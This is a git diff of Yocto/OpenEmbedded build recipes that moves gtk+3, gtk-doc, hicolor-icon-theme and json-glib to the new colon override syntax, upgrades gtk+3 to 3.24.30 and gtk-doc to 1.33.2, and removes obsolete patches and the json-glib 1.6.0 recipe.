@@ -15,7 +15,7 @@ inherit autotools gettext pkgconfig gtk-doc update-alternatives gtk-immodules-ca
BBCLASSEXTEND = "native nativesdk"
-GSETTINGS_PACKAGE_class-native = ""
+GSETTINGS_PACKAGE:class-native = ""
# versions >= 3.90 are development versions, otherwise like upstream-version-is-even
UPSTREAM_CHECK_REGEX = "[^\d\.](?P<pver>3\.([1-8]?[02468])+(\.\d+)+)\.tar"
@@ -26,10 +26,7 @@ ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
# it here avoids rebuilding everything.
export PKG_CONFIG_FOR_BUILD = "${STAGING_BINDIR_NATIVE}/pkg-config-native"
-do_configure_prepend() {
- # Do this because the configure script is running ./libtool directly
- rm -f libtool
- ln -s ${TARGET_PREFIX}libtool libtool
+do_configure:prepend() {
#delete a file that will get confused with generated one in ${B}
rm -f ${S}/gtk/gtktypefuncs.c
@@ -48,14 +45,14 @@ EXTRA_OECONF += " \
${@bb.utils.contains("DISTRO_FEATURES", "x11", "", "--disable-gtk-doc", d)} \
"
-do_compile_prepend() {
+do_compile:prepend() {
export GIR_EXTRA_LIBS_PATH="${B}/gdk/.libs"
}
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl wayland x11', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'opengl x11', 'glx', '', d)}"
-PACKAGECONFIG_class-native = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
-PACKAGECONFIG_class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
+PACKAGECONFIG:class-native = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
+PACKAGECONFIG:class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
PACKAGECONFIG[x11] = "--enable-x11-backend,--disable-x11-backend,at-spi2-atk fontconfig libx11 libxext libxcursor libxi libxdamage libxrandr libxrender libxcomposite libxfixes"
# this is provided by oe-core patch that removes epoxy/gl dependency from a X11 build
@@ -63,7 +60,6 @@ PACKAGECONFIG[opengl] = "--enable-opengl,--disable-opengl,libepoxy"
PACKAGECONFIG[glx] = "--enable-glx,--disable-glx,,libgl"
PACKAGECONFIG[wayland] = "--enable-wayland-backend,--disable-wayland-backend,wayland wayland-protocols libxkbcommon virtual/egl virtual/libgles2 wayland-native"
PACKAGECONFIG[cups] = "--enable-cups,--disable-cups,cups"
-PACKAGECONFIG[cloudprint] = "--enable-cloudprint,--disable-cloudprint,rest json-glib"
PACKAGECONFIG[colord] = "--enable-colord,--disable-colord,colord"
prepare_gtk_scripts() {
@@ -74,15 +70,15 @@ prepare_gtk_scripts() {
ln ${D}${bindir}/gtk-query-immodules-3.0 ${D}${libexecdir}/${MLPREFIX}gtk-query-immodules-3.0
}
-do_install_append_class-target() {
+do_install:append:class-target() {
prepare_gtk_scripts
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
prepare_gtk_scripts
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}/${bindir}/gtk-update-icon-cache \
GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/2.10.0/loaders.cache
create_wrapper ${D}/${bindir}/gtk-encode-symbolic-svg \
@@ -93,7 +89,7 @@ PROVIDES += "gtk-icon-utils"
PACKAGES =+ "${PN}-demo"
LIBV = "3.0.0"
-FILES_${PN}-demo = "${bindir}/gtk3-demo \
+FILES:${PN}-demo = "${bindir}/gtk3-demo \
${bindir}/gtk3-demo-application \
${bindir}/gtk3-icon-browser \
${bindir}/gtk3-widget-factory \
@@ -104,14 +100,14 @@ FILES_${PN}-demo = "${bindir}/gtk3-demo \
${datadir}/icons/hicolor/*/apps/gtk3-demo*.png \
${datadir}/icons/hicolor/*/apps/gtk3-widget-factory*.png"
-FILES_${PN}_append = " ${bindir}/gtk-update-icon-cache-3.0 \
+FILES:${PN}:append = " ${bindir}/gtk-update-icon-cache-3.0 \
${bindir}/gtk-query-immodules-3.0 \
${bindir}/gtk-launch \
${datadir}/themes ${sysconfdir} ${datadir}/glib-2.0/schemas/ \
${libdir}/gtk-3.0/${LIBV}/engines/libpixmap.so \
${libdir}/gtk-3.0/modules/*.so"
-FILES_${PN}-dev += " \
+FILES:${PN}-dev += " \
${datadir}/gtk-3.0/gtkbuilder.rng \
${datadir}/gtk-3.0/include \
${datadir}/gtk-3.0/valgrind \
@@ -137,22 +133,22 @@ GTKBASE_RRECOMMENDS ?= "liberation-fonts \
adwaita-icon-theme-symbolic \
"
-GTKBASE_RRECOMMENDS_class-native ?= "\
+GTKBASE_RRECOMMENDS:class-native ?= "\
"
GTKGLIBC_RRECOMMENDS ?= "${GTKBASE_RRECOMMENDS} glibc-gconv-iso8859-1"
-RRECOMMENDS_${PN} = "${GTKBASE_RRECOMMENDS}"
-RRECOMMENDS_${PN}_libc-glibc = "${GTKGLIBC_RRECOMMENDS}"
-RDEPENDS_${PN}-dev += "${@bb.utils.contains("PACKAGECONFIG", "wayland", "wayland-protocols", "", d)}"
+RRECOMMENDS:${PN} = "${GTKBASE_RRECOMMENDS}"
+RRECOMMENDS:${PN}:libc-glibc = "${GTKGLIBC_RRECOMMENDS}"
+RDEPENDS:${PN}-dev += "${@bb.utils.contains("PACKAGECONFIG", "wayland", "wayland-protocols", "", d)}"
PACKAGES_DYNAMIC += "^gtk3-immodule-.* ^gtk3-printbackend-.*"
-ALTERNATIVE_${PN} = "gtk-update-icon-cache"
+ALTERNATIVE:${PN} = "gtk-update-icon-cache"
ALTERNATIVE_TARGET[gtk-update-icon-cache] = "${bindir}/gtk-update-icon-cache-3.0"
ALTERNATIVE_PRIORITY = "30"
-python populate_packages_prepend () {
+python populate_packages:prepend () {
import os.path
gtk_libdir = d.expand('${libdir}/gtk-3.0/${LIBV}')
@@ -166,5 +162,5 @@ python populate_packages_prepend () {
do_split_packages(d, printmodules_root, r'^libprintbackend-(.*)\.so$', 'gtk3-printbackend-%s', 'GTK printbackend module for %s')
if (d.getVar('DEBIAN_NAMES')):
- d.setVar(d.expand('PKG_${PN}'), '${MLPREFIX}libgtk-3.0')
+ d.setVar(d.expand('PKG:${PN}'), '${MLPREFIX}libgtk-3.0')
}
diff --git a/meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch b/meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch
deleted file mode 100644
index c210bbc7d5..0000000000
--- a/meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 0ecaa5bab162abf0cb2057d77beeb7b89d5873b4 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Tue, 21 Jun 2016 14:53:56 +0300
-Subject: [PATCH 1/4] Hardcoded libtool
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 6628e21..f43ac09 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -617,7 +617,7 @@ AC_MSG_CHECKING([whether to write dependencies into .pc files])
- case $enable_explicit_deps in
- auto)
- export SED
-- deplibs_check_method=`(./libtool --config; echo 'eval echo \"$deplibs_check_method\"') | sh`
-+ deplibs_check_method=`(./$host_alias-libtool --config; echo 'eval echo \"$deplibs_check_method\"') | sh`
- if test "x$deplibs_check_method" != xpass_all || test "x$enable_static" = xyes ; then
- enable_explicit_deps=yes
- else
-@@ -895,7 +895,7 @@ else
- dnl Now we check to see if our libtool supports shared lib deps
- dnl (in a rather ugly way even)
- if $dynworks; then
-- module_libtool_config="${CONFIG_SHELL-/bin/sh} ./libtool --config"
-+ module_libtool_config="${CONFIG_SHELL-/bin/sh} ./$host_alias-libtool --config"
- module_deplibs_check=`$module_libtool_config | \
- grep '^[[a-z_]]*check[[a-z_]]*_method=[['\''"]]' | \
- sed 's/.*[['\''"]]\(.*\)[['\''"]]$/\1/'`
-@@ -1649,7 +1649,7 @@ AC_SUBST(GTK_PRINT_BACKENDS)
- # We are using gmodule-no-export now, but I'm leaving the stripping
- # code in place for now, since pango and atk still require gmodule.
- export SED
--export_dynamic=`(./libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
-+export_dynamic=`(./$host_alias-libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
- if test -n "$export_dynamic"; then
- GDK_DEP_LIBS=`echo $GDK_DEP_LIBS | sed -e "s/$export_dynamic//"`
- GTK_DEP_LIBS=`echo $GTK_DEP_LIBS | sed -e "s/$export_dynamic//"`
---
-2.12.0
-
diff --git a/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch b/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch
index 398c9bc36a..35cbab8761 100644
--- a/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch
+++ b/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch
@@ -1,4 +1,4 @@
-From f83fcf1991afad6d9c15546b2ccd775dad4e314c Mon Sep 17 00:00:00 2001
+From eef50c94587fc30cd624adb5eb213eb9fa663dc1 Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Tue, 21 Jun 2016 15:11:39 +0300
Subject: [PATCH] Add --disable-opengl configure option
@@ -47,7 +47,7 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
create mode 100644 gdk/x11/gdkx-without-gl-context.h
diff --git a/configure.ac b/configure.ac
-index bd651bb..b4c061f 100644
+index 851bcbf..6cbf6a2 100644
--- a/configure.ac
+++ b/configure.ac
@@ -346,6 +346,15 @@ AC_ARG_ENABLE(cloudproviders,
@@ -210,7 +210,7 @@ index 932daf1..54239d6 100644
return info;
diff --git a/gdk/Makefile.am b/gdk/Makefile.am
-index 479d6a1..7edbee8 100644
+index 710a548..b45f631 100644
--- a/gdk/Makefile.am
+++ b/gdk/Makefile.am
@@ -274,7 +274,6 @@ x11_introspection_files = \
@@ -243,10 +243,10 @@ index 479d6a1..7edbee8 100644
GdkX11_3_0_gir_SCANNERFLAGS = \
--identifier-prefix=Gdk \
diff --git a/gdk/gdkdisplay.c b/gdk/gdkdisplay.c
-index 240c99f..9eb49bf 100644
+index 748f548..911ab2a 100644
--- a/gdk/gdkdisplay.c
+++ b/gdk/gdkdisplay.c
-@@ -2419,7 +2419,9 @@ gboolean
+@@ -2420,7 +2420,9 @@ gboolean
gdk_display_make_gl_context_current (GdkDisplay *display,
GdkGLContext *context)
{
@@ -258,7 +258,7 @@ index 240c99f..9eb49bf 100644
GdkRenderingMode
diff --git a/gdk/gdkgl.c b/gdk/gdkgl.c
-index 933e204..1767508 100644
+index 9690077..55f85ef 100644
--- a/gdk/gdkgl.c
+++ b/gdk/gdkgl.c
@@ -26,7 +26,9 @@
@@ -334,7 +334,7 @@ index 933e204..1767508 100644
+#endif
}
diff --git a/gdk/gdkglcontext.c b/gdk/gdkglcontext.c
-index dfbed63..556f0a3 100644
+index 3b23639..1f04f8e 100644
--- a/gdk/gdkglcontext.c
+++ b/gdk/gdkglcontext.c
@@ -85,7 +85,9 @@
@@ -380,7 +380,7 @@ index dfbed63..556f0a3 100644
/**
diff --git a/gdk/gdkwindow.c b/gdk/gdkwindow.c
-index 6ae0f86..4e48a2a 100644
+index 2de8ba4..1883a79 100644
--- a/gdk/gdkwindow.c
+++ b/gdk/gdkwindow.c
@@ -45,7 +45,9 @@
@@ -513,7 +513,7 @@ index 32b1f24..6352313 100644
+
-include $(top_srcdir)/git.mk
diff --git a/gdk/x11/gdkdisplay-x11.c b/gdk/x11/gdkdisplay-x11.c
-index 817944e..e7a2947 100644
+index 7e08f47..30fd7b6 100644
--- a/gdk/x11/gdkdisplay-x11.c
+++ b/gdk/x11/gdkdisplay-x11.c
@@ -37,7 +37,9 @@
@@ -526,7 +526,7 @@ index 817944e..e7a2947 100644
#include "gdk-private.h"
#include "gdkprofilerprivate.h"
-@@ -3188,7 +3190,9 @@ gdk_x11_display_class_init (GdkX11DisplayClass * class)
+@@ -3191,7 +3193,9 @@ gdk_x11_display_class_init (GdkX11DisplayClass * class)
display_class->text_property_to_utf8_list = _gdk_x11_display_text_property_to_utf8_list;
display_class->utf8_to_string_target = _gdk_x11_display_utf8_to_string_target;
@@ -538,10 +538,10 @@ index 817944e..e7a2947 100644
display_class->get_default_seat = gdk_x11_display_get_default_seat;
diff --git a/gdk/x11/gdkscreen-x11.c b/gdk/x11/gdkscreen-x11.c
-index 8939ae9..931bff9 100644
+index bb4df05..46f5349 100644
--- a/gdk/x11/gdkscreen-x11.c
+++ b/gdk/x11/gdkscreen-x11.c
-@@ -1723,3 +1723,8 @@ gdk_x11_screen_get_current_desktop (GdkScreen *screen)
+@@ -1827,3 +1827,8 @@ gdk_x11_screen_get_current_desktop (GdkScreen *screen)
{
return get_netwm_cardinal_property (screen, "_NET_CURRENT_DESKTOP");
}
@@ -551,7 +551,7 @@ index 8939ae9..931bff9 100644
+void _gdk_x11_screen_update_visuals_for_gl (GdkScreen *screen) {}
+#endif
diff --git a/gdk/x11/gdkwindow-x11.c b/gdk/x11/gdkwindow-x11.c
-index 1fe7b90..d23a347 100644
+index 721d9bb..8e87acc 100644
--- a/gdk/x11/gdkwindow-x11.c
+++ b/gdk/x11/gdkwindow-x11.c
@@ -36,7 +36,9 @@
@@ -564,7 +564,7 @@ index 1fe7b90..d23a347 100644
#include "gdkprivate-x11.h"
#include "gdk-private.h"
-@@ -5861,7 +5863,9 @@ gdk_window_impl_x11_class_init (GdkWindowImplX11Class *klass)
+@@ -5881,7 +5883,9 @@ gdk_window_impl_x11_class_init (GdkWindowImplX11Class *klass)
impl_class->set_opaque_region = gdk_x11_window_set_opaque_region;
impl_class->set_shadow_width = gdk_x11_window_set_shadow_width;
impl_class->show_window_menu = gdk_x11_window_show_window_menu;
@@ -668,10 +668,10 @@ index 0000000..c9e2617
+
+#endif /* __GDK_X_H__ */
diff --git a/gtk/Makefile.am b/gtk/Makefile.am
-index eaca473..99352d1 100644
+index 074fb35..4fa9eb6 100644
--- a/gtk/Makefile.am
+++ b/gtk/Makefile.am
-@@ -1449,7 +1449,7 @@ gtktypefuncs.inc: stamp-gtktypebuiltins.h stamp-gtkprivatetypebuiltins.h $(top_s
+@@ -1457,7 +1457,7 @@ gtktypefuncs.inc: stamp-gtktypebuiltins.h stamp-gtkprivatetypebuiltins.h $(top_s
${CPP} $(DEFS) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) xgen-gtfsrc.c | \
$(GREP) -o '\bg[td]k_[a-zA-Z0-9_]*_get_type\b' | \
sort | uniq | \
@@ -681,7 +681,7 @@ index eaca473..99352d1 100644
$(srcdir)/gtktestutils.c: gtktypefuncs.inc
diff --git a/gtk/gtkglarea.c b/gtk/gtkglarea.c
-index 9a56443..7de0db2 100644
+index 802303e..33001cf 100644
--- a/gtk/gtkglarea.c
+++ b/gtk/gtkglarea.c
@@ -29,7 +29,9 @@
@@ -724,8 +724,8 @@ index 9a56443..7de0db2 100644
g_return_if_fail (GTK_IS_GL_AREA (area));
@@ -533,11 +540,13 @@ gtk_gl_area_attach_buffers (GtkGLArea *area)
- glFramebufferRenderbufferEXT (GL_FRAMEBUFFER_EXT, GL_STENCIL_ATTACHMENT_EXT,
- GL_RENDERBUFFER_EXT, priv->depth_stencil_buffer);
+ glFramebufferRenderbuffer (GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT,
+ GL_RENDERBUFFER, priv->depth_stencil_buffer);
}
+#endif
}
@@ -738,7 +738,7 @@ index 9a56443..7de0db2 100644
if (priv->context == NULL)
@@ -569,6 +578,7 @@ gtk_gl_area_delete_buffers (GtkGLArea *area)
- glDeleteFramebuffersEXT (1, &priv->frame_buffer);
+ glDeleteFramebuffers (1, &priv->frame_buffer);
priv->frame_buffer = 0;
}
+#endif
@@ -777,7 +777,7 @@ index 9a56443..7de0db2 100644
static gboolean
diff --git a/gtk/inspector/general.c b/gtk/inspector/general.c
-index c241ec8..24576dd 100644
+index 48237d1..1f9b9be 100644
--- a/gtk/inspector/general.c
+++ b/gtk/inspector/general.c
@@ -33,8 +33,10 @@
@@ -824,7 +824,7 @@ index c241ec8..24576dd 100644
if (GDK_IS_WAYLAND_DISPLAY (gdk_display_get_default ()))
{
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index ee1e8b5..e6c6502 100644
+index f283e89..5e7180e 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
@@ -80,8 +80,6 @@ noinst_PROGRAMS = $(TEST_PROGS) \
diff --git a/meta/recipes-gnome/gtk+/gtk+3_3.24.23.bb b/meta/recipes-gnome/gtk+/gtk+3_3.24.23.bb
deleted file mode 100644
index 338b7030e1..0000000000
--- a/meta/recipes-gnome/gtk+/gtk+3_3.24.23.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require gtk+3.inc
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "http://ftp.gnome.org/pub/gnome/sources/gtk+/${MAJ_VER}/gtk+-${PV}.tar.xz \
- file://0001-Hardcoded-libtool.patch \
- file://0002-Do-not-try-to-initialize-GL-without-libGL.patch \
- file://0003-Add-disable-opengl-configure-option.patch \
- file://link_fribidi.patch \
- "
-SRC_URI[sha256sum] = "5d864d248357a2251545b3387b35942de5f66e4c66013f0962eb5cb6f8dae2b1"
-
-S = "${WORKDIR}/gtk+-${PV}"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2 \
- file://gtk/gtk.h;endline=25;md5=1d8dc0fccdbfa26287a271dce88af737 \
- file://gdk/gdk.h;endline=25;md5=c920ce39dc88c6f06d3e7c50e08086f2 \
- file://tests/testgtk.c;endline=25;md5=cb732daee1d82af7a2bf953cf3cf26f1"
diff --git a/meta/recipes-gnome/gtk+/gtk+3_3.24.30.bb b/meta/recipes-gnome/gtk+/gtk+3_3.24.30.bb
new file mode 100644
index 0000000000..3de5b588eb
--- /dev/null
+++ b/meta/recipes-gnome/gtk+/gtk+3_3.24.30.bb
@@ -0,0 +1,17 @@
+require gtk+3.inc
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "http://ftp.gnome.org/pub/gnome/sources/gtk+/${MAJ_VER}/gtk+-${PV}.tar.xz \
+ file://0002-Do-not-try-to-initialize-GL-without-libGL.patch \
+ file://0003-Add-disable-opengl-configure-option.patch \
+ file://link_fribidi.patch \
+ "
+SRC_URI[sha256sum] = "ba75bfff320ad1f4cfbee92ba813ec336322cc3c660d406aad014b07087a3ba9"
+
+S = "${WORKDIR}/gtk+-${PV}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2 \
+ file://gtk/gtk.h;endline=25;md5=1d8dc0fccdbfa26287a271dce88af737 \
+ file://gdk/gdk.h;endline=25;md5=c920ce39dc88c6f06d3e7c50e08086f2 \
+ file://tests/testgtk.c;endline=25;md5=cb732daee1d82af7a2bf953cf3cf26f1"
diff --git a/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.0.bb b/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.0.bb
deleted file mode 100644
index 8d992272ee..0000000000
--- a/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.0.bb
+++ /dev/null
@@ -1,60 +0,0 @@
-SUMMARY = "Documentation generator for glib-based software"
-DESCRIPTION = "Gtk-doc is a set of scripts that extract specially formatted comments \
- from glib-based software and produce a set of html documentation files from them"
-HOMEPAGE = "https://www.gtk.org/docs/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-inherit gnomebase
-
-# Configure the scripts correctly (and build their dependencies) only if they are actually
-# going to be used; otheriwse we need only the m4/makefile includes from the gtk-doc tarball.
-PACKAGECONFIG ??= "${@bb.utils.contains("DISTRO_FEATURES", "api-documentation", "working-scripts", "", d)}"
-
-# This will cause target gtk-doc to hardcode paths of native dependencies
-# into its scripts. This means that target gtk-doc package is broken;
-# hopefully no one minds because its scripts are not used for anything during build
-# and shouldn't be used on targets.
-PACKAGECONFIG[working-scripts] = ",,libxslt-native xmlto-native python3-six python3-pygments"
-PACKAGECONFIG[tests] = "--enable-tests,--disable-tests,glib-2.0"
-
-SRC_URI[archive.sha256sum] = "d5e3b3f837174d246fa8482455740627efec1e5210aa15d0c7989ca68f72bb51"
-SRC_URI += "file://0001-Do-not-hardocode-paths-to-perl-python-in-scripts.patch \
- file://0001-Do-not-error-out-if-xsltproc-is-not-found.patch \
- file://conditionaltests.patch \
- file://no-clobber.patch \
- "
-SRC_URI_append_class-native = " file://pkg-config-native.patch"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Do not check for XML catalogs when building because that
-# information is not used for anything during build. Recipe
-# dependencies make sure we have all the right bits.
-do_configure_prepend() {
- sed -i -e 's,^JH_CHECK_XML_CATALOG.*,,' ${S}/configure.ac
-}
-
-do_install_append () {
- # configure values for python3 and pkg-config encoded in scripts
- for fn in ${bindir}/gtkdoc-depscan \
- ${bindir}/gtkdoc-mkhtml2 \
- ${datadir}/gtk-doc/python/gtkdoc/config.py; do
- sed -e 's,${RECIPE_SYSROOT_NATIVE}/usr/bin/pkg-config,${bindir}/pkg-config,' \
- -e 's,${HOSTTOOLS_DIR}/python3,${bindir}/python3,' \
- -i ${D}$fn
- done
-}
-
-FILES_${PN} += "${datadir}/sgml"
-FILES_${PN}-dev += "${libdir}/cmake"
-FILES_${PN}-doc = ""
-
-SYSROOT_PREPROCESS_FUNCS_append_class-native = " gtkdoc_makefiles_sysroot_preprocess"
-gtkdoc_makefiles_sysroot_preprocess() {
- # Patch the gtk-doc makefiles so that the qemu wrapper is used to run transient binaries
- # instead of libtool wrapper or running them directly
- sed -i \
- -e "s|GTKDOC_RUN =.*|GTKDOC_RUN = \$(top_builddir)/gtkdoc-qemuwrapper|" \
- ${SYSROOT_DESTDIR}${datadir}/gtk-doc/data/gtk-doc*make
-}
diff --git a/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb b/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb
new file mode 100644
index 0000000000..1c9d517525
--- /dev/null
+++ b/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb
@@ -0,0 +1,60 @@
+SUMMARY = "Documentation generator for glib-based software"
+DESCRIPTION = "Gtk-doc is a set of scripts that extract specially formatted comments \
+ from glib-based software and produce a set of html documentation files from them"
+HOMEPAGE = "https://www.gtk.org/docs/"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+inherit gnomebase
+
+# Configure the scripts correctly (and build their dependencies) only if they are actually
+# going to be used; otheriwse we need only the m4/makefile includes from the gtk-doc tarball.
+PACKAGECONFIG ??= "${@bb.utils.contains("DISTRO_FEATURES", "api-documentation", "working-scripts", "", d)}"
+
+# This will cause target gtk-doc to hardcode paths of native dependencies
+# into its scripts. This means that target gtk-doc package is broken;
+# hopefully no one minds because its scripts are not used for anything during build
+# and shouldn't be used on targets.
+PACKAGECONFIG[working-scripts] = ",,libxslt-native xmlto-native python3-six python3-pygments"
+PACKAGECONFIG[tests] = "--enable-tests,--disable-tests,glib-2.0"
+
+SRC_URI[archive.sha256sum] = "cc1b709a20eb030a278a1f9842a362e00402b7f834ae1df4c1998a723152bf43"
+SRC_URI += "file://0001-Do-not-hardocode-paths-to-perl-python-in-scripts.patch \
+ file://0001-Do-not-error-out-if-xsltproc-is-not-found.patch \
+ file://conditionaltests.patch \
+ file://no-clobber.patch \
+ "
+SRC_URI:append:class-native = " file://pkg-config-native.patch"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Do not check for XML catalogs when building because that
+# information is not used for anything during build. Recipe
+# dependencies make sure we have all the right bits.
+do_configure:prepend() {
+ sed -i -e 's,^JH_CHECK_XML_CATALOG.*,,' ${S}/configure.ac
+}
+
+do_install:append () {
+ # configure values for python3 and pkg-config encoded in scripts
+ for fn in ${bindir}/gtkdoc-depscan \
+ ${bindir}/gtkdoc-mkhtml2 \
+ ${datadir}/gtk-doc/python/gtkdoc/config_data.py \
+ ${datadir}/gtk-doc/python/gtkdoc/config.py; do
+ sed -e 's,${RECIPE_SYSROOT_NATIVE}/usr/bin/pkg-config,${bindir}/pkg-config,' \
+ -e 's,${HOSTTOOLS_DIR}/python3,${bindir}/python3,' \
+ -i ${D}$fn
+ done
+}
+
+FILES:${PN} += "${datadir}/sgml"
+FILES:${PN}-doc = ""
+
+SYSROOT_PREPROCESS_FUNCS:append:class-native = " gtkdoc_makefiles_sysroot_preprocess"
+gtkdoc_makefiles_sysroot_preprocess() {
+ # Patch the gtk-doc makefiles so that the qemu wrapper is used to run transient binaries
+ # instead of libtool wrapper or running them directly
+ sed -i \
+ -e "s|GTKDOC_RUN =.*|GTKDOC_RUN = \$(top_builddir)/gtkdoc-qemuwrapper|" \
+ ${SYSROOT_DESTDIR}${datadir}/gtk-doc/data/gtk-doc*make
+}
diff --git a/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb b/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb
index 74e3430528..5a9f675b7f 100644
--- a/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb
+++ b/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb
@@ -13,6 +13,6 @@ SRC_URI[sha256sum] = "317484352271d18cbbcfac3868eab798d67fff1b8402e740baa6ff41d5
inherit allarch autotools
-FILES_${PN} += "${datadir}/icons"
+FILES:${PN} += "${datadir}/icons"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/json-glib/json-glib/0001-json-glib-json-enum-types.c.in-fix-build-reproducibi.patch b/meta/recipes-gnome/json-glib/json-glib/0001-json-glib-json-enum-types.c.in-fix-build-reproducibi.patch
deleted file mode 100644
index 0eb7244186..0000000000
--- a/meta/recipes-gnome/json-glib/json-glib/0001-json-glib-json-enum-types.c.in-fix-build-reproducibi.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 0f06c4cb4a57083c08312144b03c8346cf620be6 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 30 Oct 2020 22:15:29 +0000
-Subject: [PATCH] json-glib/json-enum-types.c.in: fix build reproducibility
-
-Changes the comment and include to reference the file basename
-instead of the full path. This ensures that the generated file is
-reproducible when it is included in source packages meant for debugging.
-
-Upstream-Status: Backport [6f3842abd5dff68b6ee5f2ef48a4ebf1cbebf434]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- json-glib/json-enum-types.c.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/json-glib/json-enum-types.c.in b/json-glib/json-enum-types.c.in
-index da07c46..7b39290 100644
---- a/json-glib/json-enum-types.c.in
-+++ b/json-glib/json-enum-types.c.in
-@@ -9,8 +9,8 @@
-
- /*** BEGIN file-production ***/
-
--/* enumerations from "@filename@" */
--#include "@filename@"
-+/* enumerations from "@basename@" */
-+#include "@basename@"
-
- /*** END file-production ***/
-
diff --git a/meta/recipes-gnome/json-glib/json-glib_1.6.0.bb b/meta/recipes-gnome/json-glib/json-glib_1.6.0.bb
deleted file mode 100644
index 59b0609900..0000000000
--- a/meta/recipes-gnome/json-glib/json-glib_1.6.0.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "JSON-GLib implements a full JSON parser using GLib and GObject"
-DESCRIPTION = "Use JSON-GLib it is possible to parse and generate valid JSON\
- data structures, using a DOM-like API. JSON-GLib also offers GObject \
-integration, providing the ability to serialize and deserialize GObject \
-instances to and from JSON data types."
-HOMEPAGE = "https://wiki.gnome.org/Projects/JsonGlib"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/json-glib/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-DEPENDS = "glib-2.0"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase lib_package gobject-introspection gtk-doc gettext ptest-gnome manpages upstream-version-is-even
-GIR_MESON_ENABLE_FLAG = 'enabled'
-GIR_MESON_DISABLE_FLAG = 'disabled'
-GTKDOC_MESON_OPTION = "gtk_doc"
-GTKDOC_MESON_ENABLE_FLAG = 'enabled'
-GTKDOC_MESON_DISABLE_FLAG = 'disabled'
-
-SRC_URI += "file://run-ptest \
- file://0001-json-glib-json-enum-types.c.in-fix-build-reproducibi.patch"
-SRC_URI[archive.sha256sum] = "0d7c67602c4161ea7070fab6c5823afd9bd7f7bc955f652a50d3753b08494e73"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
-PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native"
-PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Currently it's not possible to disable gettext in Meson, so we need to force
-# this back on.
-USE_NLS_class-native = "yes"
